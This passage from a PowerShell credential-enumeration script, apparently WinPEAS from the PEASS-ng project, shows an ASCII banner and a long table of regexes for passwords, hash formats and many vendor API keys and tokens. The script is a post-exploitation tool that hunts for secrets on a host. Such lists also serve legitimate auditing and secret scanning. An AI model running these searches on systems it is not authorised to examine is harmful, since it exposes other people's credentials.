-Color Green, Blue, Green\nWrite-Color \"(((((((((((\", \"/*******************\", \"####### .(. ((((((\" -Color Green, Blue, Green\nWrite-Color \"(((((((\", \"/******************\", \"/@@@@@/\", \"***\", \"\\#######\\((((((\" -Color Green, Blue, White, Blue, Green\nWrite-Color \",,..\", \"**********************\", \"/@@@@@@@@@/\", \"***\", \",#####.\\/(((((\" -Color Green, Blue, White, Blue, Green\nWrite-Color \", ,\", \"**********************\", \"/@@@@@+@@@/\", \"*********\", \"##((/ /((((\" -Color Green, Blue, White, Blue, Green\nWrite-Color \"..(((##########\", \"*********\", \"/#@@@@@@@@@/\", \"*************\", \",,..((((\" -Color Green, Blue, White, Blue, Green\nWrite-Color \".(((################(/\", \"******\", \"/@@@@@/\", \"****************\", \".. /((\" -Color Green, Blue, White, Blue, Green\nWrite-Color \".((########################(/\", \"************************\", \"..*(\" -Color Green, Blue, Green\nWrite-Color \".((#############################(/\", \"********************\", \".,(\" -Color Green, Blue, Green\nWrite-Color \".((##################################(/\", \"***************\", \"..(\" -Color Green, Blue, Green\nWrite-Color \".((######################################(/\", \"***********\", \"..(\" -Color Green, Blue, Green\nWrite-Color \".((######\", \"(,.***.,(\", \"###################\", \"(..***\", \"(/*********\", \"..(\" -Color Green, Green, Green, Green, Blue, Green\nWrite-Color \".((######*\", \"(####((\", \"###################\", \"((######\", \"/(********\", \"..(\" -Color Green, Green, Green, Green, Blue, Green\nWrite-Color \".((##################\", \"(/**********(\", \"################(**...(\" -Color Green, Green, Green\nWrite-Color \".(((####################\", \"/*******(\", \"###################.((((\" -Color Green, Green, Green\nWrite-Color \".(((((############################################/  /((\" -Color Green\nWrite-Color \"..(((((#########################################(..(((((.\" -Color Green\nWrite-Color \"....(((((#####################################( .((((((.\" -Color Green\nWrite-Color \"......(((((#################################( .(((((((.\" -Color Green\nWrite-Color \"(((((((((. ,(############################(../(((((((((.\" -Color Green\nWrite-Color \"  (((((((((/,  ,####################(/..((((((((((.\" -Color Green\nWrite-Color \"        (((((((((/,.  ,*//////*,. ./(((((((((((.\" -Color Green\nWrite-Color \"           (((((((((((((((((((((((((((/\" -Color Green\nWrite-Color \"          by PEASS-ng & RandolphConley\" -Color Green\n\n######################## VARIABLES ########################\n\n# Manually added Regex search strings from https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml\n\n# Set these values to true to add them to the regex search by default\n$password = $true\n$username = $true\n$webAuth = $true\n\n$regexSearch = @{}\n\nif ($password) {\n  $regexSearch.add(\"Simple Passwords1\", \"pass.*[=:].+\")\n  $regexSearch.add(\"Simple Passwords2\", \"pwd.*[=:].+\")\n  $regexSearch.add(\"Apr1 MD5\", '\\$apr1\\$[a-zA-Z0-9_/\\.]{8}\\$[a-zA-Z0-9_/\\.]{22}')\n  $regexSearch.add(\"Apache SHA\", \"\\{SHA\\}[0-9a-zA-Z/_=]{10,}\")\n  $regexSearch.add(\"Blowfish\", '\\$2[abxyz]?\\$[0-9]{2}\\$[a-zA-Z0-9_/\\.]*')\n  $regexSearch.add(\"Drupal\", '\\$S\\$[a-zA-Z0-9_/\\.]{52}')\n  $regexSearch.add(\"Joomlavbulletin\", \"[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}\")\n  $regexSearch.add(\"Linux MD5\", '\\$1\\$[a-zA-Z0-9_/\\.]{8}\\$[a-zA-Z0-9_/\\.]{22}')\n  $regexSearch.add(\"phpbb3\", '\\$H\\$[a-zA-Z0-9_/\\.]{31}')\n  $regexSearch.add(\"sha512crypt\", '\\$6\\$[a-zA-Z0-9_/\\.]{16}\\$[a-zA-Z0-9_/\\.]{86}')\n  $regexSearch.add(\"Wordpress\", '\\$P\\$[a-zA-Z0-9_/\\.]{31}')\n  $regexSearch.add(\"md5\", \"(^|[^a-zA-Z0-9])[a-fA-F0-9]{32}([^a-zA-Z0-9]|$)\")\n  $regexSearch.add(\"sha1\", \"(^|[^a-zA-Z0-9])[a-fA-F0-9]{40}([^a-zA-Z0-9]|$)\")\n  $regexSearch.add(\"sha256\", \"(^|[^a-zA-Z0-9])[a-fA-F0-9]{64}([^a-zA-Z0-9]|$)\")\n  $regexSearch.add(\"sha512\", \"(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)\")  \n  # This does not work correctly\n  #$regexSearch.add(\"Base32\", \"(?:[A-Z2-7]{8})*(?:[A-Z2-7]{2}={6}|[A-Z2-7]{4}={4}|[A-Z2-7]{5}={3}|[A-Z2-7]{7}=)?\")\n  $regexSearch.add(\"Base64\", \"(eyJ|YTo|Tzo|PD[89]|aHR0cHM6L|aHR0cDo|rO0)[a-zA-Z0-9+\\/]+={0,2}\")\n}\n\nif ($username) {\n  $regexSearch.add(\"Usernames1\", \"username[=:].+\")\n  $regexSearch.add(\"Usernames2\", \"user[=:].+\")\n  $regexSearch.add(\"Usernames3\", \"login[=:].+\")\n  $regexSearch.add(\"Emails\", \"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,6}\")\n  $regexSearch.add(\"Net user add\", \"net user .+ /add\")\n}\n\nif ($FullCheck) {\n  $regexSearch.add(\"Artifactory API Token\", \"AKC[a-zA-Z0-9]{10,}\")\n  $regexSearch.add(\"Artifactory Password\", \"AP[0-9ABCDEF][a-zA-Z0-9]{8,}\")\n  $regexSearch.add(\"Adafruit API Key\", \"([a-z0-9_-]{32})\")\n  $regexSearch.add(\"Adafruit API Key\", \"([a-z0-9_-]{32})\")\n  $regexSearch.add(\"Adobe Client Id (Oauth Web)\", \"(adobe[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-f0-9]{32})['\"\"]\")\n  $regexSearch.add(\"Abode Client Secret\", \"(p8e-)[a-z0-9]{32}\")\n  $regexSearch.add(\"Age Secret Key\", \"AGE-SECRET-KEY-1[QPZRY9X8GF2TVDW0S3JN54KHCE6MUA7L]{58}\")\n  $regexSearch.add(\"Airtable API Key\", \"([a-z0-9]{17})\")\n  $regexSearch.add(\"Alchemi API Key\", \"(alchemi[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-zA-Z0-9-]{32})['\"\"]\")\n  $regexSearch.add(\"Artifactory API Key & Password\", \"[\"\"']AKC[a-zA-Z0-9]{10,}[\"\"']|[\"\"']AP[0-9ABCDEF][a-zA-Z0-9]{8,}[\"\"']\")\n  $regexSearch.add(\"Atlassian API Key\", \"(atlassian[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{24})['\"\"]\")\n  $regexSearch.add(\"Binance API Key\", \"(binance[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-zA-Z0-9]{64})['\"\"]\")\n  $regexSearch.add(\"Bitbucket Client Id\", \"((bitbucket[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{32})['\"\"])\")\n  $regexSearch.add(\"Bitbucket Client Secret\", \"((bitbucket[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9_\\-]{64})['\"\"])\")\n  $regexSearch.add(\"BitcoinAverage API Key\", \"(bitcoin.?average[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-zA-Z0-9]{43})['\"\"]\")\n  $regexSearch.add(\"Bitquery API Key\", \"(bitquery[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([A-Za-z0-9]{32})['\"\"]\")\n  $regexSearch.add(\"Bittrex Access Key and Access Key\", \"([a-z0-9]{32})\")\n  $regexSearch.add(\"Birise API Key\", \"(bitrise[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-zA-Z0-9_\\-]{86})['\"\"]\")\n  $regexSearch.add(\"Block API Key\", \"(block[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4})['\"\"]\")\n  $regexSearch.add(\"Blockchain API Key\", \"mainnet[a-zA-Z0-9]{32}|testnet[a-zA-Z0-9]{32}|ipfs[a-zA-Z0-9]{32}\")\n  $regexSearch.add(\"Blockfrost API Key\", \"(blockchain[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[0-9a-f]{12})['\"\"]\")\n  $regexSearch.add(\"Box API Key\", \"(box[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-zA-Z0-9]{32})['\"\"]\")\n  $regexSearch.add(\"Bravenewcoin API Key\", \"(bravenewcoin[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{50})['\"\"]\")\n  $regexSearch.add(\"Clearbit API Key\", \"sk_[a-z0-9]{32}\")\n  $regexSearch.add(\"Clojars API Key\", \"(CLOJARS_)[a-zA-Z0-9]{60}\")\n  $regexSearch.add(\"Coinbase Access Token\", \"([a-z0-9_-]{64})\")\n  $regexSearch.add(\"Coinlayer API Key\", \"(coinlayer[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{32})['\"\"]\")\n  $regexSearch.add(\"Coinlib API Key\", \"(coinlib[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{16})['\"\"]\")\n  $regexSearch.add(\"Confluent Access Token & Secret Key\", \"([a-z0-9]{16})\")\n  $regexSearch.add(\"Contentful delivery API Key\", \"(contentful[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9=_\\-]{43})['\"\"]\")\n  $regexSearch.add(\"Covalent API Key\", \"ckey_[a-z0-9]{27}\")\n  $regexSearch.add(\"Charity Search API Key\", \"(charity.?search[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{32})['\"\"]\")\n  $regexSearch.add(\"Databricks API Key\", \"dapi[a-h0-9]{32}\")\n  $regexSearch.add(\"DDownload API Key\", \"(ddownload[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{22})['\"\"]\")\n  $regexSearch.add(\"Defined Networking API token\", \"(dnkey-[a-z0-9=_\\-]{26}-[a-z0-9=_\\-]{52})\")\n  $regexSearch.add(\"Discord API Key, Client ID & Client Secret\", \"((discord[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-h0-9]{64}|[0-9]{18}|[a-z0-9=_\\-]{32})['\"\"])\")\n  $regexSearch.add(\"Droneci Access Token\", \"([a-z0-9]{32})\")\n  $regexSearch.add(\"Dropbox API Key\", \"sl.[a-zA-Z0-9_-]{136}\")\n  $regexSearch.add(\"Doppler API Key\", \"(dp\\.pt\\.)[a-zA-Z0-9]{43}\")\n  $regexSearch.add(\"Dropbox API secret/key, short & long lived API Key\", \"(dropbox[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{15}|sl\\.[a-z0-9=_\\-]{135}|[a-z0-9]{11}(AAAAAAAAAA)[a-z0-9_=\\-]{43})['\"\"]\")\n  $regexSearch.add(\"Duffel API Key\", \"duffel_(test|live)_[a-zA-Z0-9_-]{43}\")\n  $regexSearch.add(\"Dynatrace API Key\", \"dt0c01\\.[a-zA-Z0-9]{24}\\.[a-z0-9]{64}\")\n  $regexSearch.add(\"EasyPost API Key\", \"EZAK[a-zA-Z0-9]{54}\")\n  $regexSearch.add(\"EasyPost test API Key\", \"EZTK[a-zA-Z0-9]{54}\")\n  $regexSearch.add(\"Etherscan API Key\", \"(etherscan[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([A-Z0-9]{34})['\"\"]\")\n  $regexSearch.add(\"Etsy Access Token\", \"([a-z0-9]{24})\")\n  $regexSearch.add(\"Facebook Access Token\", \"EAACEdEose0cBA[0-9A-Za-z]+\")\n  $regexSearch.add(\"Fastly API Key\", \"(fastly[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9=_\\-]{32})['\"\"]\")\n  $regexSearch.add(\"Finicity API Key & Client Secret\", \"(finicity[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-f0-9]{32}|[a-z0-9]{20})['\"\"]\")\n  $regexSearch.add(\"Flickr Access Token\", \"([a-z0-9]{32})\")\n  $regexSearch.add(\"Flutterweave Keys\", \"FLWPUBK_TEST-[a-hA-H0-9]{32}-X|FLWSECK_TEST-[a-hA-H0-9]{32}-X|FLWSECK_TEST[a-hA-H0-9]{12}\")\n  $regexSearch.add(\"Frame.io API Key\", \"fio-u-[a-zA-Z0-9_=\\-]{64}\")\n  $regexSearch.add(\"Freshbooks Access Token\", \"([a-z0-9]{64})\")\n  $regexSearch.add(\"Github\", \"github(.{0,20})?['\"\"][0-9a-zA-Z]{35,40}\")\n  $regexSearch.add(\"Github App Token\", \"(ghu|ghs)_[0-9a-zA-Z]{36}\")\n  $regexSearch.add(\"Github OAuth Access Token\", \"gho_[0-9a-zA-Z]{36}\")\n  $regexSearch.add(\"Github Personal Access Token\", \"ghp_[0-9a-zA-Z]{36}\")\n  $regexSearch.add(\"Github Refresh Token\", \"ghr_[0-9a-zA-Z]{76}\")\n  $regexSearch.add(\"GitHub Fine-Grained Personal Access Token\", \"github_pat_[0-9a-zA-Z_]{82}\")\n  $regexSearch.add(\"Gitlab Personal Access Token\", \"glpat-[0-9a-zA-Z\\-]{20}\")\n  $regexSearch.add(\"GitLab Pipeline Trigger Token\", \"glptt-[0-9a-f]{40}\")\n  $regexSearch.add(\"GitLab Runner Registration Token\", \"GR1348941[0-9a-zA-Z_\\-]{20}\")\n  $regexSearch.add(\"Gitter Access Token\", \"([a-z0-9_-]{40})\")\n  $regexSearch.add(\"GoCardless API Key\", \"live_[a-zA-Z0-9_=\\-]{40}\")\n  $regexSearch.add(\"GoFile API Key\", \"(gofile[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-zA-Z0-9]{32})['\"\"]\")\n  $regexSearch.add(\"Google API Key\", \"AIza[0-9A-Za-z_\\-]{35}\")\n  $regexSearch.add(\"Google Cloud Platform API Key\", \"(google|gcp|youtube|drive|yt)(.{0,20})?['\"\"][AIza[0-9a-z_\\-]{35}]['\"\"]\")\n  $regexSearch.add(\"Google Drive Oauth\", \"[0-9]+-[0-9A-Za-z_]{32}\\.apps\\.googleusercontent\\.com\")\n  $regexSearch.add(\"Google Oauth Access Token\", \"ya29\\.[0-9A-Za-z_\\-]+\")\n  $regexSearch.add(\"Google (GCP) Service-account\", \"\"\"type.+:.+\"\"service_account\")\n  $regexSearch.add(\"Grafana API Key\", \"eyJrIjoi[a-z0-9_=\\-]{72,92}\")\n  $regexSearch.add(\"Grafana cloud api token\", \"glc_[A-Za-z0-9\\+/]{32,}={0,2}\")\n  $regexSearch.add(\"Grafana service account token\", \"(glsa_[A-Za-z0-9]{32}_[A-Fa-f0-9]{8})\")\n  $regexSearch.add(\"Hashicorp Terraform user/org API Key\", \"[a-z0-9]{14}\\.atlasv1\\.[a-z0-9_=\\-]{60,70}\")\n  $regexSearch.add(\"Heroku API Key\", \"[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}\")\n  $regexSearch.add(\"Hubspot API Key\", \"['\"\"][a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12}['\"\"]\")\n  $regexSearch.add(\"Instatus API Key\", \"(instatus[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{32})['\"\"]\")\n  $regexSearch.add(\"Intercom API Key & Client Secret/ID\", \"(intercom[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9=_]{60}|[a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12})['\"\"]\")\n  $regexSearch.add(\"Ionic API Key\", \"(ionic[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"](ion_[a-z0-9]{42})['\"\"]\")\n  $regexSearch.add(\"JSON Web Token\", \"(ey[0-9a-z]{30,34}\\.ey[0-9a-z\\/_\\-]{30,}\\.[0-9a-zA-Z\\/_\\-]{10,}={0,2})\")\n  $regexSearch.add(\"Kraken Access Token\", \"([a-z0-9\\/=_\\+\\-]{80,90})\")\n  $regexSearch.add(\"Kucoin Access Token\", \"([a-f0-9]{24})\")\n  $regexSearch.add(\"Kucoin Secret Key\", \"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\")\n  $regexSearch.add(\"Launchdarkly Access Token\", \"([a-z0-9=_\\-]{40})\")\n  $regexSearch.add(\"Linear API Key\", \"(lin_api_[a-zA-Z0-9]{40})\")\n  $regexSearch.add(\"Linear Client Secret/ID\", \"((linear[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-f0-9]{32})['\"\"])\")\n  $regexSearch.add(\"LinkedIn Client ID\", \"linkedin(.{0,20})?['\"\"][0-9a-z]{12}['\"\"]\")\n  $regexSearch.add(\"LinkedIn Secret Key\", \"linkedin(.{0,20})?['\"\"][0-9a-z]{16}['\"\"]\")\n  $regexSearch.add(\"Lob API Key\", \"((lob[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]((live|test)_[a-f0-9]{35})['\"\"])|((lob[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]((test|live)_pub_[a-f0-9]{31})['\"\"])\")\n  $regexSearch.add(\"Lob Publishable API Key\", \"((test|live)_pub_[a-f0-9]{31})\")\n  $regexSearch.add(\"MailboxValidator\", \"(mailbox.?validator[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([A-Z0-9]{20})['\"\"]\")\n  $regexSearch.add(\"Mailchimp API Key\", \"[0-9a-f]{32}-us[0-9]{1,2}\")\n  $regexSearch.add(\"Mailgun API Key\", \"key-[0-9a-zA-Z]{32}'\")\n  $regexSearch.add(\"Mailgun Public Validation Key\", \"pubkey-[a-f0-9]{32}\")\n  $regexSearch.add(\"Mailgun Webhook signing key\", \"[a-h0-9]{32}-[a-h0-9]{8}-[a-h0-9]{8}\")\n  $regexSearch.add(\"Mapbox API Key\", \"(pk\\.[a-z0-9]{60}\\.[a-z0-9]{22})\")\n  $regexSearch.add(\"Mattermost Access Token\", \"([a-z0-9]{26})\")\n  $regexSearch.add(\"MessageBird API Key & API client ID\", \"(messagebird[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{25}|[a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12})['\"\"]\")\n  $regexSearch.add(\"Microsoft Teams Webhook\", \"https:\\/\\/[a-z0-9]+\\.webhook\\.office\\.com\\/webhookb2\\/[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}@[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}\\/IncomingWebhook\\/[a-z0-9]{32}\\/[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}\")\n  $regexSearch.add(\"MojoAuth API Key\", \"[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\")\n  $regexSearch.add(\"Netlify Access Token\", \"([a-z0-9=_\\-]{40,46})\")\n  $regexSearch.add(\"New Relic User API Key, User API ID & Ingest Browser API Key\", \"(NRAK-[A-Z0-9]{27})|((newrelic[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([A-Z0-9]{64})['\"\"])|(NRJS-[a-f0-9]{19})\")\n  $regexSearch.add(\"Nownodes\", \"(nownodes[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([A-Za-z0-9]{32})['\"\"]\")\n  $regexSearch.add(\"Npm Access Token\", \"(npm_[a-zA-Z0-9]{36})\")\n  $regexSearch.add(\"Nytimes Access Token\", \"([a-z0-9=_\\-]{32})\")\n  $regexSearch.add(\"Okta Access Token\", \"([a-z0-9=_\\-]{42})\")\n  $regexSearch.add(\"OpenAI API Token\", \"sk-[A-Za-z0-9]{48}\")\n  $regexSearch.add(\"ORB Intelligence Access Key\", \"['\"\"][a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}['\"\"]\")\n  $regexSearch.add(\"Pastebin API Key\", \"(pastebin[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{32})['\"\"]\")\n  $regexSearch.add(\"PayPal Braintree Access Token\", 'access_token\\$production\\$[0-9a-z]{16}\\$[0-9a-f]{32}')\n  $regexSearch.add(\"Picatic API Key\", \"sk_live_[0-9a-z]{32}\")\n  $regexSearch.add(\"Pinata API Key\", \"(pinata[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{64})['\"\"]\")\n  $regexSearch.add(\"Planetscale API Key\", \"pscale_tkn_[a-zA-Z0-9_\\.\\-]{43}\")\n  $regexSearch.add(\"PlanetScale OAuth token\", \"(pscale_oauth_[a-zA-Z0-9_\\.\\-]{32,64})\")\n  $regexSearch.add(\"Planetscale Password\", \"pscale_pw_[a-zA-Z0-9_\\.\\-]{43}\")\n  $regexSearch.add(\"Plaid API Token\", \"(access-(?:sandbox|development|production)-[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\")\n  $regexSearch.add(\"Plaid Client ID\", \"([a-z0-9]{24})\")\n  $regexSearch.add(\"Plaid Secret key\", \"([a-z0-9]{30})\")\n  $regexSearch.add(\"Prefect API token\", \"(pnu_[a-z0-9]{36})\")\n  $regexSearch.add(\"Postman API Key\", \"PMAK-[a-fA-F0-9]{24}-[a-fA-F0-9]{34}\")\n  $regexSearch.add(\"Private Keys\", \"\\-\\-\\-\\-\\-BEGIN PRIVATE KEY\\-\\-\\-\\-\\-|\\-\\-\\-\\-\\-BEGIN RSA PRIVATE KEY\\-\\-\\-\\-\\-|\\-\\-\\-\\-\\-BEGIN OPENSSH PRIVATE KEY\\-\\-\\-\\-\\-|\\-\\-\\-\\-\\-BEGIN PGP PRIVATE KEY BLOCK\\-\\-\\-\\-\\-|\\-\\-\\-\\-\\-BEGIN DSA PRIVATE KEY\\-\\-\\-\\-\\-|\\-\\-\\-\\-\\-BEGIN EC PRIVATE KEY\\-\\-\\-\\-\\-\")\n  $regexSearch.add(\"Pulumi API Key\", \"pul-[a-f0-9]{40}\")\n  $regexSearch.add(\"PyPI upload token\", \"pypi-AgEIcHlwaS5vcmc[A-Za-z0-9_\\-]{50,}\")\n  $regexSearch.add(\"Quip API Key\", \"(quip[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-zA-Z0-9]{15}=\\|[0-9]{10}\\|[a-zA-Z0-9\\/+]{43}=)['\"\"]\")\n  $regexSearch.add(\"RapidAPI Access Token\", \"([a-z0-9_-]{50})\")\n  $regexSearch.add(\"Rubygem API Key\", \"rubygems_[a-f0-9]{48}\")\n  $regexSearch.add(\"Readme API token\", \"rdme_[a-z0-9]{70}\")\n  $regexSearch.add(\"Sendbird Access ID\", \"([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})\")\n  $regexSearch.add(\"Sendbird Access Token\", \"([a-f0-9]{40})\")\n  $regexSearch.add(\"Sendgrid API Key\", \"SG\\.[a-zA-Z0-9_\\.\\-]{66}\")\n  $regexSearch.add(\"Sendinblue API Key\", \"xkeysib-[a-f0-9]{64}-[a-zA-Z0-9]{16}\")\n  $regexSearch.add(\"Sentry Access Token\", \"([a-f0-9]{64})\")\n  $regexSearch.add(\"Shippo API Key, Access Token, Custom Access Token, Private App Access Token & Shared Secret\", \"shippo_(live|test)_[a-f0-9]{40}|shpat_[a-fA-F0-9]{32}|shpca_[a-fA-F0-9]{32}|shppa_[a-fA-F0-9]{32}|shpss_[a-fA-F0-9]{32}\")\n  $regexSearch.add(\"Sidekiq Secret\", \"([a-f0-9]{8}:[a-f0-9]{8})\")\n  $regexSearch.add(\"Sidekiq Sensitive URL\", \"([a-f0-9]{8}:[a-f0-9]{8})@(?:gems.contribsys.com|enterprise.contribsys.com)\")\n  $regexSearch.add(\"Slack Token\", \"xox[baprs]-([0-9a-zA-Z]{10,48})?\")\n  $regexSearch.add(\"Slack Webhook\", \"https://hooks.slack.com/services/T[a-zA-Z0-9_]{10}/B[a-zA-Z0-9_]{10}/[a-zA-Z0-9_]{24}\")\n  $regexSearch.add(\"Smarksheel API Key\", \"(smartsheet[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{26})['\"\"]\")\n  $regexSearch.add(\"Square Access Token\", \"sqOatp-[0-9A-Za-z_\\-]{22}\")\n  $regexSearch.add(\"Square API Key\", \"EAAAE[a-zA-Z0-9_-]{59}\")\n  $regexSearch.add(\"Square Oauth Secret\", \"sq0csp-[ 0-9A-Za-z_\\-]{43}\")\n  $regexSearch.add(\"Stytch API Key\", \"secret-.*-[a-zA-Z0-9_=\\-]{36}\")\n  $regexSearch.add(\"Stripe Access Token & API Key\", \"(sk|pk)_(test|live)_[0-9a-z]{10,32}|k_live_[0-9a-zA-Z]{24}\")\n  $regexSearch.add(\"SumoLogic Access ID\", \"([a-z0-9]{14})\")\n  $regexSearch.add(\"SumoLogic Access Token\", \"([a-z0-9]{64})\")\n  $regexSearch.add(\"Telegram Bot API Token\", \"[0-9]+:AA[0-9A-Za-z\\\\-_]{33}\")\n  $regexSearch.add(\"Travis CI Access Token\", \"([a-z0-9]{22})\")\n  $regexSearch.add(\"Trello API Key\", \"(trello[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([0-9a-z]{32})['\"\"]\")\n  $regexSearch.add(\"Twilio API Key\", \"SK[0-9a-fA-F]{32}\")\n  $regexSearch.add(\"Twitch API Key\", \"(twitch[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([a-z0-9]{30})['\"\"]\")\n  $regexSearch.add(\"Twitter Client ID\", \"[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"\"][0-9a-z]{18,25}\")\n  $regexSearch.add(\"Twitter Bearer Token\", \"(A{22}[a-zA-Z0-9%]{80,100})\")\n  $regexSearch.add(\"Twitter Oauth\", \"[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\"\\\\s][0-9a-zA-Z]{35,44}['\"\"\\\\s]\")\n  $regexSearch.add(\"Twitter Secret Key\", \"[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"\"][0-9a-z]{35,44}\")\n  $regexSearch.add(\"Typeform API Key\", \"tfp_[a-z0-9_\\.=\\-]{59}\")\n  $regexSearch.add(\"URLScan API Key\", \"['\"\"][a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}['\"\"]\")\n  $regexSearch.add(\"Vault Token\", \"[sb]\\.[a-zA-Z0-9]{24}\")\n  $regexSearch.add(\"Yandex Access Token\", \"(t1\\.[A-Z0-9a-z_-]+[=]{0,2}\\.[A-Z0-9a-z_-]{86}[=]{0,2})\")\n  $regexSearch.add(\"Yandex API Key\", \"(AQVN[A-Za-z0-9_\\-]{35,38})\")\n  $regexSearch.add(\"Yandex AWS Access Token\", \"(YC[a-zA-Z0-9_\\-]{38})\")\n  $regexSearch.add(\"Web3 API Key\", \"(web3[a-z0-9_ \\.,\\-]{0,25})(=|>|:=|\\|\\|:|<=|=>|:).{0,5}['\"\"]([A-Za-z0-9_=\\-]+\\.[A-Za-z0-9_=\\-]+\\.?[A-Za-z0-9_.+/=\\-]*)['\"\"]\")\n  $regexSearch.add(\"Zendesk Secret Key\", \"([a-z0-9]{40})\")\n  $regexSearch.add(\"Generic API Key\", 